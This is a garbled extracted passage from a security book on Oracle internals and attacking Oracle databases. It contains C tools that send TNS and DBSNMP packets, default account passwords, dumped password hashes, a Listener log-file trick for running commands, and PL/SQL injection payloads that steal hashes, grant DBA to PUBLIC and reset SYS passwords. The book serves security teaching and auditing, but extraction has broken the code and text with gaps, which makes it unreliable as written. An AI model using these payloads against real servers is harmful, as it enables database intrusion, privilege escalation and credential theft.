if(he == NULL)
{
printf(“Failed to look up %s\n”,host);
return 0;
}
memcpy(&s_sa
...
sin_addr,&addr,4);
}
return 1;
}
int GetOracleVersion(void)
{
unsigned char resp[200]=””;
unsigned char ver[8]=””;
unsigned char h=0,l=0,p=0,q=0;
int snd=0,rcv=0,count=0;
SOCKET cli_sock;
char *ptr = NULL;
cli_sock=socket(AF_INET,SOCK_STREAM,0);
if (cli_sock==INVALID_SOCKET)
return printf(“\nFailed to create the socket
...
sin_port=htons((unsigned short)ListenerPort);
08_578014 ch02
...
\n”);
goto The_End;
}
snd=send(cli_sock, TNSPacket , 0x3A , 0);
snd=send(cli_sock, “NGSSoftware\x00” , 12 , 0);
rcv = recv(cli_sock,resp,196,0);
if(rcv == SOCKET_ERROR)
{
printf(“\nThere was a receive error
...
\n”);
goto The_End;
}
ptr = ptr + 8;
count = atoi(ptr);
count = count << 4;
memmove(ver,&count,4);
h = ver[3] >> 4;
l = ver[3] << 4;
l = l >> 4;
p = ver[1] >> 4;
q = ver[0] >> 4;
printf(“\nVersion of Oracle is %d
...
%d
...
%d\n”,h,l,ver[2],p,q);
The_End:
closesocket(cli_sock);
return 0;
}
The Oracle RDBMS
Because we’ll be talking about the Oracle RDBMS in depth in later sections,
we’ll simply cover a few of the more important details here
...
qxd
26
6/3/05
6:52 PM
Page 26
Chapter 2
differences between Oracle running on Windows and Oracle running on
UNIX-based platforms is the number of processes that combine to create the
actual RDBMS
...
exe process, but on
UNIX platforms there are multiple processes each responsible for some part of
functionality
...
2
...
The following list looks at each process and discusses what
each does
...
This is the Process Monitor process and its job is
to check if any of the other processes fail, and perform housekeeping
tasks if one does such as free handles and so on
...
This is the System Monitor process and it is
responsible for crash recovery if a database instance crashes
...
This is the Distributed Transaction Recovery
process and handles any unresolved transactions
...
This is the Database Writer process
...
From the preceding ps listing we can see
only one — numbered 0
...
This is the Log Writer process and is responsible
for handling redo logs
...
This is the Checkpoint process and every so often it
nudges the Database Writer process to flush its buffers
...
exe process
...
It is actually this process that the client interacts with
...
08_578014 ch02
...
The Intelligent Agent performs a number of roles, but probably its
most significant function is to gather management and performance data,
which can be queried through SNMP or Oracle’s own proprietary protocols
...
As far as SNMP is concerned the port is configurable and may be the default of UDP 161 or often
dbsnmp can be found listening for SNMP requests on 1161
...
Performance data can be queried remotely without having to present a username or password using the Oracle Enterprise Manager tool — specifically
using the “Performance Manager” of the “Diagnostic Pack
...
For example, they could list all running processes, get memory usage,
and so on
...
Using this tool the Agent can be stopped, started, queried
for its status, and blackouts started and stopped
...
The agentctl utility is
somewhat limited though; it can’t really be used to query remote systems
...
If you prefer to
use port redirection tools for this kind of work this will do admirably, also
...
This means, for example, an attacker could
define blackouts or stop the Agent without having to present any username or
password
...
h>
#include
h>
#define DBSNMPPORT 1748
int QueryDBSNMP(int in);
int StartWinsock(void);
struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
char host[260]=””;
unsigned char Packet_1[]=
“\x00\x6A\x00\x00\x01\x00\x00\x00\x01\x38\x01\x2C\x00\x00\x08\x00”
“\x7F\xFF\x86\x0E\x00\x00\x01\x00\x00\x30\x00\x3A\x00\x00\x00\x64”
27
08_578014 ch02
...
com”);
printf(“\n\t4th June 2004\n\n\n\n”);
return 0;
}
strncpy(host,argv[1],250);
if(!StartWinsock())
return printf(“Error starting Winsock
...
\n\n”);
Packet_3[69] = 0x38;
}
if(stricmp(argv[2],”stop”)==0)
{
printf(“\n\nStopping
...
qxd
6/3/05
6:53 PM
Page 29
The Oracle Architecture
WSACleanup();
return 0;
}
int StartWinsock()
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if (err != 0)
return 0;
if (LOBYTE(wsaData
...
wVersion) !=0)
{
WSACleanup();
return 0;
}
if (isalpha(host[0]))
{
he = gethostbyname(host);
s_sa
...
s_addr=INADDR_ANY;
s_sa
...
sin_addr,he->h_addr,he->h_length);
}
else
{
addr = inet_addr(host);
s_sa
...
s_addr=INADDR_ANY;
s_sa
...
sin_addr,&addr,4);
he = (struct hostent *)1;
}
if (he == NULL)
return 0;
return 1;
}
int QueryDBSNMP(int in)
{
unsigned char resp[1600]=””;
int snd=0,rcv=0,count=0;
unsigned int ttlbytes=0;
unsigned int to=2000;
struct sockaddr_in cli_addr;
SOCKET cli_sock;
cli_sock=socket(AF_INET,SOCK_STREAM,0);
if (cli_sock==INVALID_SOCKET)
{
printf(“socket error
...
qxd
30
6/3/05
6:53 PM
Page 30
Chapter 2
return 0;
}
cli_addr
...
sin_addr
...
sin_port=htons((unsigned short)0);
//
setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char
*)&to,sizeof(unsigned int));
if
(bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
{
closesocket(cli_sock);
printf(“bind error”);
return 0;
}
s_sa
...
\n”);
return 0;
}
PrintResponse(rcv,resp);
snd=send(cli_sock, Packet_2 , 0x80 , 0);
rcv = recv(cli_sock,resp,1500,0);
if(rcv == SOCKET_ERROR)
{
closesocket(cli_sock);
printf(“recv error
...
\n”);
return 0;
}
PrintResponse(rcv,resp);
if(in == 0x37)
08_578014 ch02
...
\n”);
return 0;
}
closesocket(cli_sock);
return 0;
}
int PrintResponse(int size, unsigned char *ptr)
{
int count = 0;
int chk = 0;
int sp = 0;
printf(“%
...
”);
else
printf(“%c”,ptr[count]);
count ++;
}
printf(“\n%
...
2X “,ptr[count]);
count ++;
}
count = count - chk;
count = 17 - count;
while(sp < count)
{
printf(“
“);
sp++;
}
count = chk;
while(count < size)
31
08_578014 ch02
...
”);
else
printf(“%c”,ptr[count]);
count ++;
}
printf(“\n\n\n\n”);
return 0;
}
The Intelligent Agent often needs to communicate with the database server
and requires a user account and password for the RDBMS
...
When
performing a security audit of an Oracle database server, I often find that all the
default passwords have been changed except this one
...
It seems that this is
often too much hassle and is left in its default state
...
ora file as well
...
Add
the following:
SNMP
...
SID
...
CONNECT
...
PASSWORD=password
“SID” is the SID of the database server
...
ora
file in the same directory
...
Note — never change a password using the ALTER USER command
...
Use the password command in SQL*Plus instead
...
Oracle Authentication and Authorization
Oracle supports two kinds of accounts: database accounts and operating system
accounts
...
A number of users are created by
default when the database is installed; some of these are integral to the correct
operation of the database whereas others are simply created because a package
has been installed
...
qxd
6/3/05
6:53 PM
Page 33
The Oracle Architecture
SYS login
...
SYS is
installed with a default password of CHANGE_ON_INSTALL, although, as of
10g, the user is prompted for a password to assign — which is good (various
components that you install can define default usernames and passwords —
Appendix C includes a list of more than 600 default account names and passwords)
...
This is just as powerful as SYS and has
a default password of MANAGER
...
Details such as usernames and passwords are stored in the
SYS
...
SQL> select name,password from
NAME
-----------------------------SYS
SYSTEM
OUTLN
DIP
DMSYS
DBSNMP
WMSYS
EXFSYS
ORDSYS
ORDPLUGINS
SI_INFORMTN_SCHEMA
MDSYS
CTXSYS
OLAPSYS
WK_TEST
XDB
ANONYMOUS
SYSMAN
MDDATA
WKSYS
WKPROXY
MGMT_VIEW
SCOTT
23 rows selected
...
user$ where type#=1;
PASSWORD
-----------------------------2696A092833AFD9F
ED58B07310B19002
4A3BA55E08595C81
CE4A36B8E06CA59C
BFBA5A553FD9E28A
E066D214D5421CCC
7C9BA362F8314299
66F4EF5650C20355
7EFA02EC7EA6B86F
88A2B2C183431F00
84B8CBCA4D477FA3
72979A94BAD2AF80
71E687F036AD56E5
3FB8EF9DB538647C
29802572EB547DBF
88D8364765FCE6AF
anonymous
447B729161192C24
DF02A496267DEE66
69ED49EE1851900D
B97545C4DD2ABE54
B7A76767C5DB2BFD
F894844C34402B67
Both SYS and SYSTEM are DBA privileged accounts but on a typical system
you’ll also find at least a few more DBAs — namely MDSYS, CTXSYS,
WKSYS, and SYSMAN
...
name from sys
...
sysauth$ b where
a
...
grantee# and b
...
qxd
34
6/3/05
6:53 PM
Page 34
Chapter 2
CTXSYS
SYS
SYSMAN
SYSTEM
WKSYS
(If you know a bit about Oracle and are wondering why I’m not using the
DBA_USERS and DBA_ROLE_PRIVS views, see the last chapter in the Oracle
section — you can’t trust views
...
Let’s look at how database
users are authenticated
...
Here’s how the authentication process works
...
Provided
the SID is valid the Listener responds with a TCP port and redirects the client
to this port
...
exe
A)
(UTH_MACHINE
)
(WORKGROUP\GLADIU)
(S
AUTH_)
(PID
872:2436)
(
)
Here you can see the client is attempting to authenticate as the “SYSTEM”
user
...
qxd
6/3/05
6:53 PM
Page 35
The Oracle Architecture
45
00
00
00
00
38
00
00
00
00
45
00
00
02
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
04
00
00
00
01
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
(E8E
(
(
(
(
)
)
)
)
)
Note that if the user does not exist on the remote server, no session key is
issued
...
He or she can work out whether or not a
given account exists on the server
...
) Anyway, assuming the user does
exist, the session key is sent back to the client
...
03
00
00
0d
52
45
36
26
06
a0
00
44
32
42
00
00
ae
00
20
41
32
00
00
12
00
00
32
41
06
00
00
0d
00
46
30
00
01
2c
41
00
33
35
00
01
b4
55
20
42
30
00
00
12
54
36
45
00
00
00
00
48
37
44
00
00
e8
06
5f
41
41
00
03
b1
73
50
41
45
00
73
12
79
41
42
43
0d
03
00
73
53
30
32
00
e0
07
74
53
37
33
00
91
00
65
57
46
31
00
d3
00
6d
4f
38
42
0d
( &
s
)
(
)
(
,
system)
(
AUTH_PASSWO)
(RD
67AAB07F8)
(E2A2F3BEDAEC231B)
(6B2A050
)
Once authenticated to the database server, a user’s actions are controlled
using authorization
...
Authorization
System privileges define what a user can do to the database, whereas object
privileges define what a user can do to database objects such as tables and procedures
...
There are 173 system privileges in Oracle 10g —
these can be listed with the following query:
SQL> select distinct name from sys
...
table_privilege_map;
Key System Privileges
There are a few system privileges, which if granted, can be abused to gain
complete control of the database server
...
35
08_578014 ch02
...
We’ll talk
more about procedures later on but suffice to say this is one of the most powerful system privileges
...
SELECT ANY DICTIONARY
Any data in the database that is integral to the operation of the database are
stored in a bunch of tables collectively known as the Oracle Data Dictionary
...
If users have the SELECT ANY DICTIONARY privilege it means that they can select from any of these tables
...
USER$ table
...
It’s an easy task for DBSNMP to get DBA privileges
due to this
...
They do
as their names imply
...
Oracle Auditing
This section discusses Oracle auditing — auditing in the sense of tracking
what users are doing and when
...
If you’re defending a system, then auditing
should be on — but not necessarily for everything
...
At a minimum,
failed and successful log on attempts should be audited as well as access to the
audit trail itself
...
ora file
...
qxd
6/3/05
6:53 PM
Page 37
The Oracle Architecture
To log audit information to the file system, change the “db” to “os”
...
If logging occurs in the
database, then events are written to the SYS
...
This table stands out from others in the dictionary because rows can be deleted
from it
...
AUD$ is not restricted, and audited
...
For a full list of what can be logged refer to the Oracle
documentation, but here I’ll show how to turn on auditing for failed and successful log in attempts and how to protect the AUD$ table itself
...
AUD$ BY ACCESS;
This protects access to the audit trail so if someone attempts to manipulate
it, the access itself will be logged
...
When attacking a system it is often useful to know what actions and so on
are being audited because this will usually point you toward the “valuable”
information
...
WAGES table might be audited
...
NAME FROM SYS
...
TAB$ T
WHERE T
...
OBJ#=T
...
TAB$ table contains a column called
AUDIT$
...
If execute is audited for a procedure, this can be checked by running
SELECT O
...
OBJ$ O, SYS
...
AUDIT$ LIKE ‘%S%’
AND O
...
OBJ#
37
08_578014 ch02
...
qxd
6/3/05
6:45 PM
Page 39
CHAPTER
3
Attacking
Oracle
Scanning for Oracle Servers
Finding an Oracle database server on the network is best achieved by doing a
TCP port scan, unless of course you already know where it is
...
The following list
details some common Oracle processes and what ports they can be found listening on
...
qxd
40
6/3/05
6:45 PM
Page 40
Chapter 3
1830 emagent
1831 emagent
1850 java ORMI
2030 omtsreco
2100 tnslsnr
2481 tnslsnr
2482 tnslsnr
3025 ocssd
3026 ocssd
4696 ocssd
6003 opmn
6004 opmn
6200 opmn
6201 opmn
7777 Apache - OAS
8080 tnslsnr
9090 tnslsnr
The TNS Listener
Once the Oracle database server has been discovered the first port of call is the
TNS Listener
...
The Listener control utility can be used
to get this information
...
1
...
1
This will direct all commands to the TNS Listener at IP address 10
...
1
...
Once set, run the version command:
LSNRCTL> version
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10
...
1
...
1
...
1)(PORT=1521)))
TNSLSNR for 32-bit Windows: Version 9
...
0
...
0 - Production
TNS for 32-bit Windows: Version 9
...
0
...
0 - Production
Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version
9
...
0
...
0 - Production
Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows:
09_578014 ch03
...
2
...
1
...
2
...
1
...
2
...
1
...
Knowing the version number lets you know what bugs
the server is going to be vulnerable to — to a certain degree
...
The version
number certainly puts you in the right ball park
...
You get this with the
services command
...
Service “ORAXP” has 1 instance(s)
...
Handler(s):
“DEDICATED” established:0 refused:0
LOCAL SERVER
Service “PLSExtProc” has 1 instance(s)
...
Handler(s):
“DEDICATED” established:0 refused:0
LOCAL SERVER
Service “oraxp
...
com” has 1 instance(s)
...
Handler(s):
“DEDICATED” established:0 refused:0 state:ready
LOCAL SERVER
Service “oraxpXDB
...
com” has 1 instance(s)
...
Handler(s):
“D000” established:0 refused:0 current:0 max:1002 state:ready
DISPATCHER
(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=3249))
The command completed successfully
LSNRCTL>
Here you can see that there’s a database service with a SID of ORAXP
...
1
...
1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10
...
1
...
qxd
42
6/3/05
6:45 PM
Page 42
Chapter 3
No problem
...
1
...
1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10
...
1
...
2
...
1
...
22 min
...
ora
Listener Log File
C:\oracle\ora92\network\log\listener
...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\
...
Service “ORAXP” has 1 instance(s)
...
Service “PLSExtProc” has 1 instance(s)
...
Service “oraxp
...
com” has 1 instance(s)
...
Service “oraxpXDB
...
com” has 1 instance(s)
...
The command completed successfully
LSNRCTL>
From the status command you can see a number of things:
1
...
2
...
3
...
4
...
5
...
6
...
7
...
09_578014 ch03
...
We’ll come back to this later on, however
...
First, the TNS Listener, depending upon the version, may be vulnerable to a
number of buffer overflow vulnerabilities that can be exploited without a user
ID and password
...
When the Listener builds
an error message to log, the service_name value is copied to a stack-based buffer
that overflows — overwriting the saved return address on the stack
...
In fact, the TNS Listener has suffered multiple overflows and format strings in the past
...
com will give you
all the details
...
This works only if no
Listener password has been set
...
Using the following code, fire off
(CONNECT_DATA=(CMD=log_directory)(ARGUMENTS=4)(VALUE=c:\\))
This sets the log directory to C:\
...
bat))
This sets the log file to foo
...
Then fire off
|| dir > foo
...
txt
NL-00303: syntax error in NV string
Notice the third line: TNS-01153: Failed to process string: || dir > foo
...
When this batch file runs each line is treated as a command, but of course they
aren’t and they don’t execute
...
exe) to run the second
command if the first is unsuccessful — in the third line the dir > foo
...
By choosing a different file, such as one that will be executed automatically
when the system boots or when someone logs on, the command will execute
and the system can be compromised
...
qxd
44
6/3/05
6:45 PM
Page 44
Chapter 3
Note that more recent versions of Oracle append
...
Better protection is to set a Listener
password and also enable ADMIN_RESTRICTIONS, but more on this later
...
One way of doing this would be to echo “+ +” to the
...
This code can be used to send arbitrary packets over TNS:
#include
h>
#include
qxd
6/3/05
6:45 PM
Page 45
Attacking Oracle
“\x00\x00\x00\x00”
“\x00\x00”;
unsigned char TNSPacket2[200]=
“\x00\x00”
// Packet Length
“\x00\x00”
// Checksum
“\x06”
// Type - data
“\x00”
// Flags
“\x00\x00”
// Header Checksum
“\x00\x00”;
int main(int argc, char *argv[])
{
unsigned int ErrorLevel=0,len=0,c =0;
int count = 0;
if(argc < 3)
return printf(“%s host string\n”,argv[0]);
strncpy(host,argv[1],256);
strncpy(data,argv[2],31996);
if(argc == 4)
ListenerPort = atoi(argv[3]);
if(StartWinsock()==0)
{
printf(“Error starting Winsock
...
qxd
46
6/3/05
6:45 PM
Page 46
Chapter 3
dl = dl + 10;
e = dl % 256;
e = dl - e;
e = e / 256;
TNSPacket2[0]=e;
f = dl % 256;
TNSPacket2[1]=f;
two_packets = 1;
}
else
{
TNSPacket[25]=dl;
TNSPacket[1]=dl+0x3A;
}
return dl+hl;
}
int StartWinsock()
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
return 0;
if ( LOBYTE( wsaData
...
wVersion )
!= 0 )
{
WSACleanup( );
return 0;
}
if (isalpha(host[0]))
he = gethostbyname(host);
else
{
addr = inet_addr(host);
he = gethostbyaddr((char *)&addr,4,AF_INET);
}
if (he == NULL)
return 0;
s_sa
...
s_addr=INADDR_ANY;
s_sa
...
sin_addr,he->h_addr,he->h_length);
return 1;
}
int SendTNSPacket(void)
{
09_578014 ch03
...
sin_family=AF_INET;
cli_addr
...
s_addr=INADDR_ANY;
cli_addr
...
sin_port=htons((unsigned short)ListenerPort);
if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==
SOCKET_ERROR)
{
printf(“Connect error %d”,GetLastError());
return closesocket(cli_sock);
}
snd=send(cli_sock, TNSPacket , 0x3A , 0);
if(two_packets == 1)
snd=send(cli_sock, TNSPacket2 , 10 , 0);
snd=send(cli_sock, data , strlen(data) , 0);
rcv = recv(cli_sock,resp,9996,0);
if(rcv != SOCKET_ERROR)
PrintResp(resp,rcv);
closesocket(cli_sock);
return 0;
}
int PrintResp(unsigned char *p, int l)
{
int c = 0;
int d = 0;
while(c < l)
{
printf(“%
...
qxd
48
6/3/05
6:45 PM
Page 48
Chapter 3
{
d = c - 16;
printf(“\t”);
while(d < c)
{
if(p[d] == 0x0A || p[d] == 0x0D)
printf(“ “);
else
printf(“%c”,p[d]);
d++;
}
printf(“\n”);
d = 0;
}
}
d = c - 16;
printf(“\t”);
while(d < c)
{
if(p[d] == 0x0A || p[d] == 0x0D)
printf(“ “);
else
printf(“%c”,p[d]);
d++;
}
printf(“\n”);
d = 0;
return 0;
}
Other methods for compromising the TNS Listener are discussed later but,
for the moment, let’s turn our attention to the RDBMS itself
...
Even if we want to exploit
the overly long username buffer overflow in Oracle 9iR2 and earlier we will
still need this database SID
...
Assuming you’re not going to be exploiting an overflow to
get into the system, you’re left with guessing a user ID and password
...
We include a full list of over 600 in Appendix C
...
qxd
6/3/05
6:45 PM
Page 49
Attacking Oracle
SYSTEM
MANAGER
DBSNMP
DBSNMP
CTXSYS
CTXSYS
MDSYS
MDSYS
ORACLE
INTERNAL
To connect to the remote system using sqlplus you’ll need to edit your
tnsnames
...
You can find this in the ORACLE_HOME/network/admin
directory
...
1
...
1, a database SID of ORAXP, and listening on TCP port 1521, you should add an entry
as follows:
REMOTE =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL= TCP)(Host= 10
...
1
...
2
...
1
...
All rights reserved
...
SQL>
Once connected to the database server you’ll probably want to elevate privileges if you have only an account like SCOTT
...
Oracle’s PL/SQL
PL/SQL is the language used for creating stored procedures, functions, triggers, and objects in Oracle
...
PL/SQL is so integral to Oracle I’d
recommend getting a book on it and reading it, but in the meantime here’s a
quick one-minute lesson
...
qxd
50
6/3/05
6:45 PM
Page 50
Chapter 3
CREATE OR REPLACE PROCEDURE HELLO_WORLD AS
BEGIN
DBMS_OUTPUT
...
A PL/SQL package is a collection of procedures and
functions (usually) related to the same thing
...
We could have
a procedure ADD_EMPLOYEE, DROP_EMPLOYEE, and BUMP_UP_WAGE
...
When executing the
ADD_EMPLOYEE procedure we’d do
EXEC HR
...
HR
...
Here’s how to create
a simple function:
CREATE OR REPLACE FUNCTION GET_DATE RETURN VARCHAR2
IS
BEGIN
RETURN SYSDATE;
END;
This function simply returns SYSDATE and can be executed with the
following:
SELECT GET_DATE FROM DUAL;
Needless to say, PL/SQL can be used to create procedures that contain SQL
queries and further, if PL/SQL can’t do something, it’s possible to extend PL/
SQL with external procedures — more on this later
...
qxd
6/3/05
6:45 PM
Page 51
Attacking Oracle
Okay, lesson over; let’s get down to PL/SQL and security
...
What this means is that if SYS creates a procedure and SCOTT executes it, the procedure executes with SYS privileges
...
It is possible to change this behavior
...
For example:
CREATE OR REPLACE PROCEDURE HELLO_WORLD AUTHID CURRENT_USER AS
BEGIN
DBMS_OUTPUT
...
This is known as executing with invoker rights
...
You can achieve this by creating a procedure that they can execute that’ll insert
data into the table and use definer rights
...
We’ll discuss this in depth shortly in the section “PL/SQL Injection
...
This is supposed to stop people from examining what the procedure actually does
...
First, you have to remember that it’s encryption — it can be
decrypted and the clear text can be retrieved
...
Even if you don’t do this you can still work out what’s going on in a procedure
even though it’s encrypted
...
Here’s the description of the
table:
SQL> desc sys
...
qxd
52
6/3/05
6:45 PM
Page 52
Chapter 3
TYPE#
CHARSETID
CHARSETFORM
DEFAULT#
IN_OUT
PROPERTIES
LENGTH
PRECISION#
SCALE
RADIX
DEFLENGTH
DEFAULT$
TYPE_OWNER
TYPE_NAME
TYPE_SUBNAME
TYPE_LINKNAME
PLS_TYPE
NOT NULL NUMBER
NUMBER
NUMBER
NUMBER
NUMBER
NUMBER
NUMBER
NUMBER
NUMBER
NUMBER
NUMBER
LONG
VARCHAR2(30)
VARCHAR2(30)
VARCHAR2(30)
VARCHAR2(128)
VARCHAR2(30)
There’s a package called DBMS_DESCRIBE that can also be used to “look
into” such things
...
First you need the object ID of the DBMS_DESCRIBE package — this is from
Oracle 9
...
Now you take this and list the procedures and functions on
DBMS_DESCRIBE:
SQL> select distinct procedure$ from sys
...
(Note that while the package specification may only contain
one procedure the package body, that is, the code behind the package, may have
many private procedures and functions
...
)
09_578014 ch03
...
argument$
where obj#=3354
and procedure$=’DESCRIBE_PROCEDURE’;
POSITION# ARGUMENT
PLS_TYPE
---------- ------------------------------ -----------------------------1 OBJECT_NAME
VARCHAR2
1
NUMBER
1
VARCHAR2
2 RESERVED1
VARCHAR2
3 RESERVED2
VARCHAR2
4 OVERLOAD
5 POSITION
6 LEVEL
7 ARGUMENT_NAME
8 DATATYPE
9 DEFAULT_VALUE
10 IN_OUT
11 LENGTH
12 PRECISION
13 SCALE
14 RADIX
15 SPARE
If the PLS_TYPE is not listed it’s not your standard PL/SQL data type
...
You can see how quickly you can begin to derive useful information about
wrapped packages even though the source isn’t available
...
A patch is now available but the
buffer overflow can be triggered by creating a wrapped procedure with an
overly long constant in it
...
So before we continue, here are the key points to remember
...
While this can be useful for applications, it does open a security hole if the procedure has been
coded poorly and is vulnerable to PL/SQL Injection
...
Using PL/SQL Injection, attackers can
potentially elevate their level of privilege from a low-level PUBLIC account to
53
09_578014 ch03
...
The technique relates to almost all versions of Oracle, and can be used to attack custom stored procedures as well as
those supplied with Oracle itself
...
A Simple Example
Consider the code of this procedure and assume it is owned by SYS and can be
executed by PUBLIC:
CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT
...
PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/
This procedure lists all libraries owned by a given user — the user being supplied by the person executing the procedure
...
PUT_LINE
...
LIST_LIBRARIES(‘SYS’);
This procedure is vulnerable to SQL injection
...
Because Oracle doesn’t batch queries
like Microsoft SQL Server does, it has traditionally been believed that attackers are capable of performing only UNION SELECT queries in such situations
...
Before that, however, let’s look at
how a UNION SELECT can be injected to return the password hashes for each
user stored in the SYS
...
09_578014 ch03
...
LIST_LIBRARIES(‘FOO’’ UNION SELECT PASSWORD FROM SYS
...
USER$ --’ AND OBJECT_TYPE=’LIBRARY’
The double minus sign at the end denotes a comment in Oracle queries and
effectively chops off the ‘ AND OBJECT_TYPE=’LIBRARY’
...
If we want to get
both the password hash and the username out we try
EXEC SYS
...
USER$--’);
But this returns an error:
ORA-01789: query block has incorrect number of result columns
ORA-06512: at “SYS
...
(The
password hash is directly related to the username in Oracle and so when
cracking Oracle passwords it’s important to have the right username go with
the right hash
...
Injecting Attacker-Defined Functions to Overcome Barriers
So, we have a procedure, LIST_LIBRARIES, that we can inject into and return
data from a single column
...
)
We want, however, to return the data from two or more rows but using a
UNION SELECT we can’t do that all together
...
Assuming we want to grab the USER# (a number), the NAME (a varchar2),
and the password (a varchar2) from SYS
...
qxd
56
6/3/05
6:45 PM
Page 56
Chapter 3
CREATE OR REPLACE FUNCTION GET_USERS RETURN VARCHAR2 AUTHID CURRENT_USER
AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
U VARCHAR2(200);
P VARCHAR2(200);
N NUMBER;
BEGIN
DBMS_OUTPUT
...
USER$’;
LOOP
FETCH CV INTO N,U,P;
DBMS_OUTPUT
...
LIST_LIBRARIES(‘FOO’’ || SCOTT
...
...
Note that when we created our
function we used the AUTHID CURRENT_USER keyword
...
By
setting the AUTHID CURREN_USER keyword, when LIST_LIBRARIES executes our function, our function assumes or inherits the privileges of SYS
...
This is not a
function that actually exists in the RDBMS but assume that SYS has created it
...
qxd
6/3/05
6:45 PM
Page 57
Attacking Oracle
BEGIN
STMT:=’SELECT COUNT(*) FROM ALL_OBJECTS WHERE OWNER=’’’ || P_OWNER ||
‘’’’;
EXECUTE IMMEDIATE STMT INTO CNT;
RETURN CNT;
END;
/
This function returns the number of rows a user owns in ALL_OBJECTS
...
SELECT_COUNT(‘SYS’) FROM DUAL;
to have the number of objects listed in ALL_OBJECTS and owned by the SYS
user
...
Although it’s vulnerable to SQL injection, a number of problems need to be
worked around before anything useful can be done with it
...
SELECT_COUNT(‘SYS’’ UNION SELECT PASSWORD FROM SYS
...
We can’t even do a union select on numeric data
...
SELECT_COUNT(‘SYS’’ UNION SELECT USER# FROM SYS
...
The second problem that needs to be overcome is that nothing is echoed
back to the terminal, so even if we could do a decent union select or subselect
how would we get the data back out? Running a subselect, for example
SELECT SYS
...
USER$ WHERE NAME=’’SYS’’)--’) FROM DUAL;
just returns 0
...
What’s more is that we’re not just
limited to running a single query
...
qxd
58
6/3/05
6:45 PM
Page 58
Chapter 3
CONNECT SCOTT/TIGER@ORCL
SET SERVEROUTPUT ON
CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFF VARCHAR2(30);
STMT VARCHAR2(200);
BEGIN
DBMS_OUTPUT
...
USER$ WHERE NAME = ‘’SYS’’’;
EXECUTE IMMEDIATE STMT INTO BUFF;
DBMS_OUTPUT
...
PUT_LINE(BUFF || ‘ IS A DBA
...
Again, note that this function has been created using the AUTHID
CURRENT_USER keyword
...
USER$ or the DBA_ROLE_PRIVS table
...
SELECT_COUNT function, which runs with the privileges of
the SYS user, due to the use of the AUTHID CURRENT_USER keyword our
GET_IT function will assume the privileges of SYS
...
SELECT_COUNT(‘FOO’’ || SCOTT
...
This is the result of an output buffering issue
...
PUT_LINE is called from with a select statement, the output is
buffered
...
PUT_LINE(‘OUTPUT’);
and we get
09_578014 ch03
...
WKSYS IS A DBA
...
SYSTEM IS A DBA
...
To avoid this buffering problem we could just execute the following:
DECLARE
CNT NUMBER;
BEGIN
CNT:=SYS
...
GET_IT()--’);
DBMS_OUTPUT
...
There seem to be some limitations to injecting and running attackersupplied functions
...
If we try
to execute DDL or DML statements or anything that requires a COMMIT or
ROLLBACK, then attempting to do so will churn out the error
ORA-14552: cannot perform a DDL, commit or rollback inside a query or
DML
For example, if we create a function like
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR2 AUTHID CURRENT_USER
IS
BEGIN
EXECUTE IMMEDIATE ‘GRANT DBA TO PUBLIC’;
END;
/
GRANT EXECUTE ON GET_DBA TO PUBLIC;
and try to inject it we get this error
...
Using AUTONOMOUS_TRANSACTION in a procedure or function
tells Oracle that it will execute as a whole with no problems so no transaction
is required or rollback or commit
...
By adding
this to our function:
59
09_578014 ch03
...
DBA is granted to PUBLIC
...
If the version
of Oracle in question is earlier than 8i, though, you’ll be able to perform
SELECTs only if you’re injecting into a procedure that performs a select
...
Injecting into DELETE, INSERT,
and UPDATE Statements
Injecting into DELETE, INSERT, and UPDATE statements gives attackers
much more flexibility than injecting into SELECT statements in terms of what
actions they can take
...
Well, half true
...
This essentially means that when injecting into either a DELETE,
INSERT, or UPDATE statement, an attacker can use any of DELETE, INSERT,
or UPDATE queries to manipulate any table the PL/SQL definer has access to
and not just the table the original query is manipulating
...
An attacker can inject into this PL/SQL program a function that DELETEs
from table BAR
...
qxd
6/3/05
6:45 PM
Page 61
Attacking Oracle
STMT :=’INSERT INTO EMPLOYEES (EMP_NAME) VALUES (‘’’ || P_NAME || ‘’’)’;
EXECUTE IMMEDIATE STMT;
END;
/
This procedure takes as its argument the name of a new employee
...
All fairly simple — and of course, is vulnerable to SQL injection
...
GET_IT)--’);
While this is all well and good it doesn’t really demonstrate the high level of
flexibility of SQL injection into INSERT statements
...
USER$, for
example:
CREATE OR REPLACE FUNCTION RSTPWD RETURN VARCHAR2 AUTHID CURRENT_USER IS
MYSTMT VARCHAR2(200);
BEGIN
MYSTMT:=’UPDATE SYS
...
NEW_EMP(‘P’’ || SCOTT
...
As you can see, by injecting into an INSERT
query on one table, EMPLOYEES, we’ve managed to UPDATE another table —
SYS
...
We could have also inserted or deleted and this is true of all such
DML queries
...
Before looking into this however, let’s look at some real-world examples
of injecting into DML queries
...
It takes as its first parameter the name of a SCHEMA,
